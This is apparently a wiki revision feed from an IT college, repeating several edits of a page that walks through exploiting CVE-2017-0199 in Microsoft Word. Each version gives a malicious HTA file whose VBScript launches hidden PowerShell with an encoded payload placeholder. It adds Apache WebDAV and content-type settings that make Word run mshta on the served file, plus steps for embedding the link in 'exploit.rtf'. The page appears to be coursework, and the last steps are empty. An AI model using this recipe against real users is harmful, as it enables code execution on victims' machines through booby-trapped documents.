 &amp;lt;!DOCTYPE html PUBLIC &amp;quot;-//W3C//DTD XHTML 1.0 Transitional//EN&amp;quot; &amp;quot;http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd&amp;quot;&amp;gt;  &lt;br /&gt;
   &amp;lt;html xmlns=&amp;quot;http://www.w3.org/1999/xhtml&amp;quot;&amp;gt;  &lt;br /&gt;
   &amp;lt;head&amp;gt;  &lt;br /&gt;
   &amp;lt;meta content=&amp;quot;text/html; charset=utf-8&amp;quot; http-equiv=&amp;quot;Content-Type&amp;quot; /&amp;gt;  &lt;br /&gt;
   &amp;lt;title&amp;gt;Bonjour&amp;lt;/title&amp;gt;  &lt;br /&gt;
 &amp;lt;script language=&amp;quot;VBScript&amp;quot;&amp;gt;  &lt;br /&gt;
  Set owFrClN0giJ = CreateObject(&amp;quot;Wscript.Shell&amp;quot;)   &lt;br /&gt;
  Set v1ymUkaljYF = CreateObject(&amp;quot;Scripting.FileSystemObject&amp;quot;)  &lt;br /&gt;
  If v1ymUkaljYF.FileExists(owFrClN0giJ.ExpandEnvironmentStrings(&amp;quot;%PSModulePath%&amp;quot;) + &amp;quot;..\powershell.exe&amp;quot;) Then  &lt;br /&gt;
   owFrClN0giJ.Run &amp;quot;powershell.exe -nop -w hidden -e ENCODED_B64_SHELL&amp;quot;  &lt;br /&gt;
  End If  &lt;br /&gt;
 &amp;lt;/script&amp;gt;  &lt;br /&gt;
 &amp;lt;hta:application  &lt;br /&gt;
     id=&amp;quot;oHTA&amp;quot;  &lt;br /&gt;
     applicationname=&amp;quot;Bonjour&amp;quot;  &lt;br /&gt;
     application=&amp;quot;yes&amp;quot;  &lt;br /&gt;
   &amp;gt;  &lt;br /&gt;
   &amp;lt;/hta:application&amp;gt;  &lt;br /&gt;
   &amp;lt;/head&amp;gt;  &lt;br /&gt;
   &amp;lt;div&amp;gt;   &lt;br /&gt;
   &amp;lt;object type=&amp;quot;text/html&amp;quot; data=&amp;quot;http://windows.microsoft.com/en-IN/windows7/products/features/windows-defender&amp;quot; width=&amp;quot;100%&amp;quot; height=&amp;quot;100%&amp;quot;&amp;gt;  &lt;br /&gt;
   &amp;lt;/object&amp;gt;&amp;lt;/div&amp;gt;    &lt;br /&gt;
   &amp;lt;body&amp;gt;  &lt;br /&gt;
   &amp;lt;/body&amp;gt;  &lt;br /&gt;
   &amp;lt;/html&amp;gt;  &lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
===Step 2 ===&lt;br /&gt;
Create a simple RTF document using Winword with the any random content. (in our example the string &amp;quot;This is my official and legit content&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
Call it &amp;quot;ms.rtf&amp;quot;&lt;br /&gt;
&lt;br /&gt;
===Step 3 ===&lt;br /&gt;
Push these 2 files on a webserver you have full control on.&lt;br /&gt;
We supposed it will be stored in /var/www/html&lt;br /&gt;
&lt;br /&gt;
Now we have to configure Apache to be able to include the ms.rtf as a link&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
 a2enmod dav  &lt;br /&gt;
 a2enmod dav_fs  &lt;br /&gt;
 a2enmod dav_lock  &lt;br /&gt;
 a2enmod headers  &lt;br /&gt;
 service apache2 restart &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The following directive will :&lt;br /&gt;
- Add &amp;quot;Content-Type application/rtf to all files in /ms&lt;br /&gt;
- Allow the PROPFIND request performed by Microsoft Office&lt;br /&gt;
&lt;br /&gt;
 Modify virtualhost and include:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;Directory /var/www/html/ms/&amp;gt;  &lt;br /&gt;
 Header set Content-Type &amp;quot;application/rtf&amp;quot;  &lt;br /&gt;
 &amp;lt;/Directory&amp;gt;  &lt;br /&gt;
 &amp;lt;Directory /&amp;gt;  &lt;br /&gt;
 Dav on  &lt;br /&gt;
 &amp;lt;/Directory&amp;gt;  &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt; service apache2 restart &amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Step 4 ===&lt;br /&gt;
Create a simple RTF document using Winword &amp;quot;exploit.rtf&amp;quot; This will be our exploit !&lt;br /&gt;
&lt;br /&gt;
Insert -&amp;gt; Object&lt;br /&gt;
&lt;br /&gt;
[[File:Capture1-wiki.PNG]]&lt;br /&gt;
&lt;br /&gt;
After clicking OK you will get the content of the &amp;quot;ms.rtf&amp;quot; file which just contains a random string..&lt;br /&gt;
&lt;br /&gt;
Save the file as &amp;quot;exploit.rtf&amp;quot;&lt;br /&gt;
&lt;br /&gt;
===Step 5 ===&lt;br /&gt;
&lt;br /&gt;
===Step 6 ===&lt;/div&gt;</summary>
		<author><name>Lphanvan</name></author>
	</entry>
	<entry>
		<id>https://wiki.itcollege.ee/index.php?title=CVE-2017-0199_Malicious_RTF_Document&amp;diff=120929</id>
		<title>CVE-2017-0199 Malicious RTF Document</title>
		<link rel="alternate" type="text/html" href="https://wiki.itcollege.ee/index.php?title=CVE-2017-0199_Malicious_RTF_Document&amp;diff=120929"/>
		<updated>2017-05-02T18:38:03Z</updated>

		<summary type="html">&lt;p&gt;Lphanvan: /* Step 5 */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;==CVE-2017-0199 Malicious RTF Document==&lt;br /&gt;
===Step 1 ===&lt;br /&gt;
Prepare an HTA file: (HTA file are HTML application which can run JScript and VBscript)&lt;br /&gt;
Let&#039;s call it &amp;quot;ms.hta&amp;quot;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
 &amp;lt;!DOCTYPE html PUBLIC &amp;quot;-//W3C//DTD XHTML 1.0 Transitional//EN&amp;quot; &amp;quot;http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd&amp;quot;&amp;gt;  &lt;br /&gt;
   &amp;lt;html xmlns=&amp;quot;http://www.w3.org/1999/xhtml&amp;quot;&amp;gt;  &lt;br /&gt;
   &amp;lt;head&amp;gt;  &lt;br /&gt;
   &amp;lt;meta content=&amp;quot;text/html; charset=utf-8&amp;quot; http-equiv=&amp;quot;Content-Type&amp;quot; /&amp;gt;  &lt;br /&gt;
   &amp;lt;title&amp;gt;Bonjour&amp;lt;/title&amp;gt;  &lt;br /&gt;
 &amp;lt;script language=&amp;quot;VBScript&amp;quot;&amp;gt;  &lt;br /&gt;
  Set owFrClN0giJ = CreateObject(&amp;quot;Wscript.Shell&amp;quot;)   &lt;br /&gt;
  Set v1ymUkaljYF = CreateObject(&amp;quot;Scripting.FileSystemObject&amp;quot;)  &lt;br /&gt;
  If v1ymUkaljYF.FileExists(owFrClN0giJ.ExpandEnvironmentStrings(&amp;quot;%PSModulePath%&amp;quot;) + &amp;quot;..\powershell.exe&amp;quot;) Then  &lt;br /&gt;
   owFrClN0giJ.Run &amp;quot;powershell.exe -nop -w hidden -e ENCODED_B64_SHELL&amp;quot;  &lt;br /&gt;
  End If  &lt;br /&gt;
 &amp;lt;/script&amp;gt;  &lt;br /&gt;
 &amp;lt;hta:application  &lt;br /&gt;
     id=&amp;quot;oHTA&amp;quot;  &lt;br /&gt;
     applicationname=&amp;quot;Bonjour&amp;quot;  &lt;br /&gt;
     application=&amp;quot;yes&amp;quot;  &lt;br /&gt;
   &amp;gt;  &lt;br /&gt;
   &amp;lt;/hta:application&amp;gt;  &lt;br /&gt;
   &amp;lt;/head&amp;gt;  &lt;br /&gt;
   &amp;lt;div&amp;gt;   &lt;br /&gt;
   &amp;lt;object type=&amp;quot;text/html&amp;quot; data=&amp;quot;http://windows.microsoft.com/en-IN/windows7/products/features/windows-defender&amp;quot; width=&amp;quot;100%&amp;quot; height=&amp;quot;100%&amp;quot;&amp;gt;  &lt;br /&gt;
   &amp;lt;/object&amp;gt;&amp;lt;/div&amp;gt;    &lt;br /&gt;
   &amp;lt;body&amp;gt;  &lt;br /&gt;
   &amp;lt;/body&amp;gt;  &lt;br /&gt;
   &amp;lt;/html&amp;gt;  &lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
===Step 2 ===&lt;br /&gt;
Create a simple RTF document using Winword with the any random content. (in our example the string &amp;quot;This is my official and legit content&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
Call it &amp;quot;ms.rtf&amp;quot;&lt;br /&gt;
&lt;br /&gt;
===Step 3 ===&lt;br /&gt;
Push these 2 files on a webserver you have full control on.&lt;br /&gt;
We supposed it will be stored in /var/www/html&lt;br /&gt;
&lt;br /&gt;
Now we have to configure Apache to be able to include the ms.rtf as a link&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
 a2enmod dav  &lt;br /&gt;
 a2enmod dav_fs  &lt;br /&gt;
 a2enmod dav_lock  &lt;br /&gt;
 a2enmod headers  &lt;br /&gt;
 service apache2 restart &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The following directive will :&lt;br /&gt;
- Add &amp;quot;Content-Type application/rtf to all files in /ms&lt;br /&gt;
- Allow the PROPFIND request performed by Microsoft Office&lt;br /&gt;
&lt;br /&gt;
 Modify virtualhost and include:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;Directory /var/www/html/ms/&amp;gt;  &lt;br /&gt;
 Header set Content-Type &amp;quot;application/rtf&amp;quot;  &lt;br /&gt;
 &amp;lt;/Directory&amp;gt;  &lt;br /&gt;
 &amp;lt;Directory /&amp;gt;  &lt;br /&gt;
 Dav on  &lt;br /&gt;
 &amp;lt;/Directory&amp;gt;  &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt; service apache2 restart &amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Step 4 ===&lt;br /&gt;
Create a simple RTF document using Winword &amp;quot;exploit.rtf&amp;quot; This will be our exploit !&lt;br /&gt;
&lt;br /&gt;
Insert -&amp;gt; Object&lt;br /&gt;
&lt;br /&gt;
[[File:Capture1-wiki.PNG]]&lt;br /&gt;
&lt;br /&gt;
After clicking OK you will get the content of the &amp;quot;ms.rtf&amp;quot; file which just contains a random string..&lt;br /&gt;
&lt;br /&gt;
Save the file as &amp;quot;exploit.rtf&amp;quot;&lt;br /&gt;
&lt;br /&gt;
The following step will :&lt;br /&gt;
- change the ms.rtf that we have included with the custom HTA payload&lt;br /&gt;
- The web server will send a &amp;quot;application/hta&amp;quot; content-type... this will be interpreted by the Winword client which will run mshta to handle this content-type and execute our payload&lt;br /&gt;
&lt;br /&gt;
 cat /var/www/html/ms/ms.hta &amp;gt; /var/www/html/ms.rtf  &lt;br /&gt;
&lt;br /&gt;
 vi /etc/apache2/sites-enables/000-default  &lt;br /&gt;
 Change -&amp;gt; application/rtf to application/hta  &lt;br /&gt;
 like:  &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;Directory /var/www/html/ms/&amp;gt;  &lt;br /&gt;
 Header set Content-Type &amp;quot;application/hta&amp;quot;  &lt;br /&gt;
 &amp;lt;/Directory&amp;gt;  &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
 service apache2 restart&lt;br /&gt;
&lt;br /&gt;
===Step 5 ===&lt;br /&gt;
&lt;br /&gt;
===Step 6 ===&lt;/div&gt;</summary>
		<author><name>Lphanvan</name></author>
	</entry>
	<entry>
		<id>https://wiki.itcollege.ee/index.php?title=CVE-2017-0199_Malicious_RTF_Document&amp;diff=120928</id>
		<title>CVE-2017-0199 Malicious RTF Document</title>
		<link rel="alternate" type="text/html" href="https://wiki.itcollege.ee/index.php?title=CVE-2017-0199_Malicious_RTF_Document&amp;diff=120928"/>
		<updated>2017-05-02T18:37:26Z</updated>

		<summary type="html">&lt;p&gt;Lphanvan: /* Step 4 */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;==CVE-2017-0199 Malicious RTF Document==&lt;br /&gt;
===Step 1 ===&lt;br /&gt;
Prepare an HTA file: (HTA file are HTML application which can run JScript and VBscript)&lt;br /&gt;
Let&#039;s call it &amp;quot;ms.hta&amp;quot;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
 &amp;lt;!DOCTYPE html PUBLIC &amp;quot;-//W3C//DTD XHTML 1.0 Transitional//EN&amp;quot; &amp;quot;http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd&amp;quot;&amp;gt;  &lt;br /&gt;
   &amp;lt;html xmlns=&amp;quot;http://www.w3.org/1999/xhtml&amp;quot;&amp;gt;  &lt;br /&gt;
   &amp;lt;head&amp;gt;  &lt;br /&gt;
   &amp;lt;meta content=&amp;quot;text/html; charset=utf-8&amp;quot; http-equiv=&amp;quot;Content-Type&amp;quot; /&amp;gt;  &lt;br /&gt;
   &amp;lt;title&amp;gt;Bonjour&amp;lt;/title&amp;gt;  &lt;br /&gt;
 &amp;lt;script language=&amp;quot;VBScript&amp;quot;&amp;gt;  &lt;br /&gt;
  Set owFrClN0giJ = CreateObject(&amp;quot;Wscript.Shell&amp;quot;)   &lt;br /&gt;
  Set v1ymUkaljYF = CreateObject(&amp;quot;Scripting.FileSystemObject&amp;quot;)  &lt;br /&gt;
  If v1ymUkaljYF.FileExists(owFrClN0giJ.ExpandEnvironmentStrings(&amp;quot;%PSModulePath%&amp;quot;) + &amp;quot;..\powershell.exe&amp;quot;) Then  &lt;br /&gt;
   owFrClN0giJ.Run &amp;quot;powershell.exe -nop -w hidden -e ENCODED_B64_SHELL&amp;quot;  &lt;br /&gt;
  End If  &lt;br /&gt;
 &amp;lt;/script&amp;gt;  &lt;br /&gt;
 &amp;lt;hta:application  &lt;br /&gt;
     id=&amp;quot;oHTA&amp;quot;  &lt;br /&gt;
     applicationname=&amp;quot;Bonjour&amp;quot;  &lt;br /&gt;
     application=&amp;quot;yes&amp;quot;  &lt;br /&gt;
   &amp;gt;  &lt;br /&gt;
   &amp;lt;/hta:application&amp;gt;  &lt;br /&gt;
   &amp;lt;/head&amp;gt;  &lt;br /&gt;
   &amp;lt;div&amp;gt;   &lt;br /&gt;
   &amp;lt;object type=&amp;quot;text/html&amp;quot; data=&amp;quot;http://windows.microsoft.com/en-IN/windows7/products/features/windows-defender&amp;quot; width=&amp;quot;100%&amp;quot; height=&amp;quot;100%&amp;quot;&amp;gt;  &lt;br /&gt;
   &amp;lt;/object&amp;gt;&amp;lt;/div&amp;gt;    &lt;br /&gt;
   &amp;lt;body&amp;gt;  &lt;br /&gt;
   &amp;lt;/body&amp;gt;  &lt;br /&gt;
   &amp;lt;/html&amp;gt;  &lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
===Step 2 ===&lt;br /&gt;
Create a simple RTF document using Winword with the any random content. (in our example the string &amp;quot;This is my official and legit content&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
Call it &amp;quot;ms.rtf&amp;quot;&lt;br /&gt;
&lt;br /&gt;
===Step 3 ===&lt;br /&gt;
Push these 2 files on a webserver you have full control on.&lt;br /&gt;
We supposed it will be stored in /var/www/html&lt;br /&gt;
&lt;br /&gt;
Now we have to configure Apache to be able to include the ms.rtf as a link&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
 a2enmod dav  &lt;br /&gt;
 a2enmod dav_fs  &lt;br /&gt;
 a2enmod dav_lock  &lt;br /&gt;
 a2enmod headers  &lt;br /&gt;
 service apache2 restart &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The following directive will :&lt;br /&gt;
- Add &amp;quot;Content-Type application/rtf to all files in /ms&lt;br /&gt;
- Allow the PROPFIND request performed by Microsoft Office&lt;br /&gt;
&lt;br /&gt;
 Modify virtualhost and include:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;Directory /var/www/html/ms/&amp;gt;  &lt;br /&gt;
 Header set Content-Type &amp;quot;application/rtf&amp;quot;  &lt;br /&gt;
 &amp;lt;/Directory&amp;gt;  &lt;br /&gt;
 &amp;lt;Directory /&amp;gt;  &lt;br /&gt;
 Dav on  &lt;br /&gt;
 &amp;lt;/Directory&amp;gt;  &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt; service apache2 restart &amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Step 4 ===&lt;br /&gt;
Create a simple RTF document using Winword &amp;quot;exploit.rtf&amp;quot; This will be our exploit !&lt;br /&gt;
&lt;br /&gt;
Insert -&amp;gt; Object&lt;br /&gt;
&lt;br /&gt;
[[File:Capture1-wiki.PNG]]&lt;br /&gt;
&lt;br /&gt;
After clicking OK you will get the content of the &amp;quot;ms.rtf&amp;quot; file which just contains a random string..&lt;br /&gt;
&lt;br /&gt;
Save the file as &amp;quot;exploit.rtf&amp;quot;&lt;br /&gt;
&lt;br /&gt;
The following step will :&lt;br /&gt;
- change the ms.rtf that we have included with the custom HTA payload&lt;br /&gt;
- The web server will send a &amp;quot;application/hta&amp;quot; content-type... this will be interpreted by the Winword client which will run mshta to handle this content-type and execute our payload&lt;br /&gt;
&lt;br /&gt;
 cat /var/www/html/ms/ms.hta &amp;gt; /var/www/html/ms.rtf  &lt;br /&gt;
&lt;br /&gt;
 vi /etc/apache2/sites-enables/000-default  &lt;br /&gt;
 Change -&amp;gt; application/rtf to application/hta  &lt;br /&gt;
 like:  &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;Directory /var/www/html/ms/&amp;gt;  &lt;br /&gt;
 Header set Content-Type &amp;quot;application/hta&amp;quot;  &lt;br /&gt;
 &amp;lt;/Directory&amp;gt;  &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
 service apache2 restart&lt;br /&gt;
&lt;br /&gt;
===Step 5 ===&lt;br /&gt;
===Step 6 ===&lt;/div&gt;</summary>
		<author><name>Lphanvan</name></author>
	</entry>
	<entry>
		<id>https://wiki.itcollege.ee/index.php?title=CVE-2017-0199_Malicious_RTF_Document&amp;diff=120927</id>
		<title>CVE-2017-0199 Malicious RTF Document</title>
		<link rel="alternate" type="text/html" href="https://wiki.itcollege.ee/index.php?title=CVE-2017-0199_Malicious_RTF_Document&amp;diff=120927"/>
		<updated>2017-05-02T18:36:45Z</updated>

		<summary type="html">&lt;p&gt;Lphanvan: /* Step 4 */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;==CVE-2017-0199 Malicious RTF Document==&lt;br /&gt;
===Step 1 ===&lt;br /&gt;
Prepare an HTA file: (HTA file are HTML application which can run JScript and VBscript)&lt;br /&gt;
Let&#039;s call it &amp;quot;ms.hta&amp;quot;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
 &amp;lt;!DOCTYPE html PUBLIC &amp;quot;-//W3C//DTD XHTML 1.0 Transitional//EN&amp;quot; &amp;quot;http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd&amp;quot;&amp;gt;  &lt;br /&gt;
   &amp;lt;html xmlns=&amp;quot;http://www.w3.org/1999/xhtml&amp;quot;&amp;gt;  &lt;br /&gt;
   &amp;lt;head&amp;gt;  &lt;br /&gt;
   &amp;lt;meta content=&amp;quot;text/html; charset=utf-8&amp;quot; http-equiv=&amp;quot;Content-Type&amp;quot; /&amp;gt;  &lt;br /&gt;
   &amp;lt;title&amp;gt;Bonjour&amp;lt;/title&amp;gt;  &lt;br /&gt;
 &amp;lt;script language=&amp;quot;VBScript&amp;quot;&amp;gt;  &lt;br /&gt;
  Set owFrClN0giJ = CreateObject(&amp;quot;Wscript.Shell&amp;quot;)   &lt;br /&gt;
  Set v1ymUkaljYF = CreateObject(&amp;quot;Scripting.FileSystemObject&amp;quot;)  &lt;br /&gt;
  If v1ymUkaljYF.FileExists(owFrClN0giJ.ExpandEnvironmentStrings(&amp;quot;%PSModulePath%&amp;quot;) + &amp;quot;..\powershell.exe&amp;quot;) Then  &lt;br /&gt;
   owFrClN0giJ.Run &amp;quot;powershell.exe -nop -w hidden -e ENCODED_B64_SHELL&amp;quot;  &lt;br /&gt;
  End If  &lt;br /&gt;
 &amp;lt;/script&amp;gt;  &lt;br /&gt;
 &amp;lt;hta:application  &lt;br /&gt;
     id=&amp;quot;oHTA&amp;quot;  &lt;br /&gt;
     applicationname=&amp;quot;Bonjour&amp;quot;  &lt;br /&gt;
     application=&amp;quot;yes&amp;quot;  &lt;br /&gt;
   &amp;gt;  &lt;br /&gt;
   &amp;lt;/hta:application&amp;gt;  &lt;br /&gt;
   &amp;lt;/head&amp;gt;  &lt;br /&gt;
   &amp;lt;div&amp;gt;   &lt;br /&gt;
   &amp;lt;object type=&amp;quot;text/html&amp;quot; data=&amp;quot;http://windows.microsoft.com/en-IN/windows7/products/features/windows-defender&amp;quot; width=&amp;quot;100%&amp;quot; height=&amp;quot;100%&amp;quot;&amp;gt;  &lt;br /&gt;
   &amp;lt;/object&amp;gt;&amp;lt;/div&amp;gt;    &lt;br /&gt;
   &amp;lt;body&amp;gt;  &lt;br /&gt;
   &amp;lt;/body&amp;gt;  &lt;br /&gt;
   &amp;lt;/html&amp;gt;  &lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
===Step 2 ===&lt;br /&gt;
Create a simple RTF document using Winword with the any random content. (in our example the string &amp;quot;This is my official and legit content&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
Call it &amp;quot;ms.rtf&amp;quot;&lt;br /&gt;
&lt;br /&gt;
===Step 3 ===&lt;br /&gt;
Push these 2 files on a webserver you have full control on.&lt;br /&gt;
We supposed it will be stored in /var/www/html&lt;br /&gt;
&lt;br /&gt;
Now we have to configure Apache to be able to include the ms.rtf as a link&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
 a2enmod dav  &lt;br /&gt;
 a2enmod dav_fs  &lt;br /&gt;
 a2enmod dav_lock  &lt;br /&gt;
 a2enmod headers  &lt;br /&gt;
 service apache2 restart &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The following directive will :&lt;br /&gt;
- Add &amp;quot;Content-Type application/rtf to all files in /ms&lt;br /&gt;
- Allow the PROPFIND request performed by Microsoft Office&lt;br /&gt;
&lt;br /&gt;
 Modify virtualhost and include:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;Directory /var/www/html/ms/&amp;gt;  &lt;br /&gt;
 Header set Content-Type &amp;quot;application/rtf&amp;quot;  &lt;br /&gt;
 &amp;lt;/Directory&amp;gt;  &lt;br /&gt;
 &amp;lt;Directory /&amp;gt;  &lt;br /&gt;
 Dav on  &lt;br /&gt;
 &amp;lt;/Directory&amp;gt;  &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt; service apache2 restart &amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Step 4 ===&lt;br /&gt;
Create a simple RTF document using Winword &amp;quot;exploit.rtf&amp;quot; This will be our exploit !&lt;br /&gt;
&lt;br /&gt;
Insert -&amp;gt; Object&lt;br /&gt;
&lt;br /&gt;
[[File:Capture1-wiki.PNG]]&lt;br /&gt;
&lt;br /&gt;
===Step 5 ===&lt;br /&gt;
===Step 6 ===&lt;/div&gt;</summary>
		<author><name>Lphanvan</name></author>
	</entry>
	<entry>
		<id>https://wiki.itcollege.ee/index.php?title=File:Capture1-wiki.PNG&amp;diff=120926</id>
		<title>File:Capture1-wiki.PNG</title>
		<link rel="alternate" type="text/html" href="https://wiki.itcollege.ee/index.php?title=File:Capture1-wiki.PNG&amp;diff=120926"/>
		<updated>2017-05-02T18:36:03Z</updated>

		<summary type="html">&lt;p&gt;Lphanvan: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>Lphanvan</name></author>
	</entry>
	<entry>
		<id>https://wiki.itcollege.ee/index.php?title=CVE-2017-0199_Malicious_RTF_Document&amp;diff=120925</id>
		<title>CVE-2017-0199 Malicious RTF Document</title>
		<link rel="alternate" type="text/html" href="https://wiki.itcollege.ee/index.php?title=CVE-2017-0199_Malicious_RTF_Document&amp;diff=120925"/>
		<updated>2017-05-02T18:34:28Z</updated>

		<summary type="html">&lt;p&gt;Lphanvan: /* Step 3 */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;==CVE-2017-0199 Malicious RTF Document==&lt;br /&gt;
===Step 1 ===&lt;br /&gt;
Prepare an HTA file: (HTA file are HTML application which can run JScript and VBscript)&lt;br /&gt;
Let&#039;s call it &amp;quot;ms.hta&amp;quot;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
 &amp;lt;!DOCTYPE html PUBLIC &amp;quot;-//W3C//DTD XHTML 1.0 Transitional//EN&amp;quot; &amp;quot;http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd&amp;quot;&amp;gt;  &lt;br /&gt;
   &amp;lt;html xmlns=&amp;quot;http://www.w3.org/1999/xhtml&amp;quot;&amp;gt;  &lt;br /&gt;
   &amp;lt;head&amp;gt;  &lt;br /&gt;
   &amp;lt;meta content=&amp;quot;text/html; charset=utf-8&amp;quot; http-equiv=&amp;quot;Content-Type&amp;quot; /&amp;gt;  &lt;br /&gt;
   &amp;lt;title&amp;gt;Bonjour&amp;lt;/title&amp;gt;  &lt;br /&gt;
 &amp;lt;script language=&amp;quot;VBScript&amp;quot;&amp;gt;  &lt;br /&gt;
  Set owFrClN0giJ = CreateObject(&amp;quot;Wscript.Shell&amp;quot;)   &lt;br /&gt;
  Set v1ymUkaljYF = CreateObject(&amp;quot;Scripting.FileSystemObject&amp;quot;)  &lt;br /&gt;
  If v1ymUkaljYF.FileExists(owFrClN0giJ.ExpandEnvironmentStrings(&amp;quot;%PSModulePath%&amp;quot;) + &amp;quot;..\powershell.exe&amp;quot;) Then  &lt;br /&gt;
   owFrClN0giJ.Run &amp;quot;powershell.exe -nop -w hidden -e ENCODED_B64_SHELL&amp;quot;  &lt;br /&gt;
  End If  &lt;br /&gt;
 &amp;lt;/script&amp;gt;  &lt;br /&gt;
 &amp;lt;hta:application  &lt;br /&gt;
     id=&amp;quot;oHTA&amp;quot;  &lt;br /&gt;
     applicationname=&amp;quot;Bonjour&amp;quot;  &lt;br /&gt;
     application=&amp;quot;yes&amp;quot;  &lt;br /&gt;
   &amp;gt;  &lt;br /&gt;
   &amp;lt;/hta:application&amp;gt;  &lt;br /&gt;
   &amp;lt;/head&amp;gt;  &lt;br /&gt;
   &amp;lt;div&amp;gt;   &lt;br /&gt;
   &amp;lt;object type=&amp;quot;text/html&amp;quot; data=&amp;quot;http://windows.microsoft.com/en-IN/windows7/products/features/windows-defender&amp;quot; width=&amp;quot;100%&amp;quot; height=&amp;quot;100%&amp;quot;&amp;gt;  &lt;br /&gt;
   &amp;lt;/object&amp;gt;&amp;lt;/div&amp;gt;    &lt;br /&gt;
   &amp;lt;body&amp;gt;  &lt;br /&gt;
   &amp;lt;/body&amp;gt;  &lt;br /&gt;
   &amp;lt;/html&amp;gt;  &lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
===Step 2 ===&lt;br /&gt;
Create a simple RTF document using Winword with the any random content. (in our example the string &amp;quot;This is my official and legit content&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
Call it &amp;quot;ms.rtf&amp;quot;&lt;br /&gt;
&lt;br /&gt;
===Step 3 ===&lt;br /&gt;
Push these 2 files on a webserver you have full control on.&lt;br /&gt;
We supposed it will be stored in /var/www/html&lt;br /&gt;
&lt;br /&gt;
Now we have to configure Apache to be able to include the ms.rtf as a link&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
 a2enmod dav  &lt;br /&gt;
 a2enmod dav_fs  &lt;br /&gt;
 a2enmod dav_lock  &lt;br /&gt;
 a2enmod headers  &lt;br /&gt;
 service apache2 restart &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The following directive will :&lt;br /&gt;
- Add &amp;quot;Content-Type application/rtf to all files in /ms&lt;br /&gt;
- Allow the PROPFIND request performed by Microsoft Office&lt;br /&gt;
&lt;br /&gt;
 Modify virtualhost and include:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;Directory /var/www/html/ms/&amp;gt;  &lt;br /&gt;
 Header set Content-Type &amp;quot;application/rtf&amp;quot;  &lt;br /&gt;
 &amp;lt;/Directory&amp;gt;  &lt;br /&gt;
 &amp;lt;Directory /&amp;gt;  &lt;br /&gt;
 Dav on  &lt;br /&gt;
 &amp;lt;/Directory&amp;gt;  &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt; service apache2 restart &amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Step 4 ===&lt;br /&gt;
===Step 5 ===&lt;br /&gt;
===Step 6 ===&lt;/div&gt;</summary>
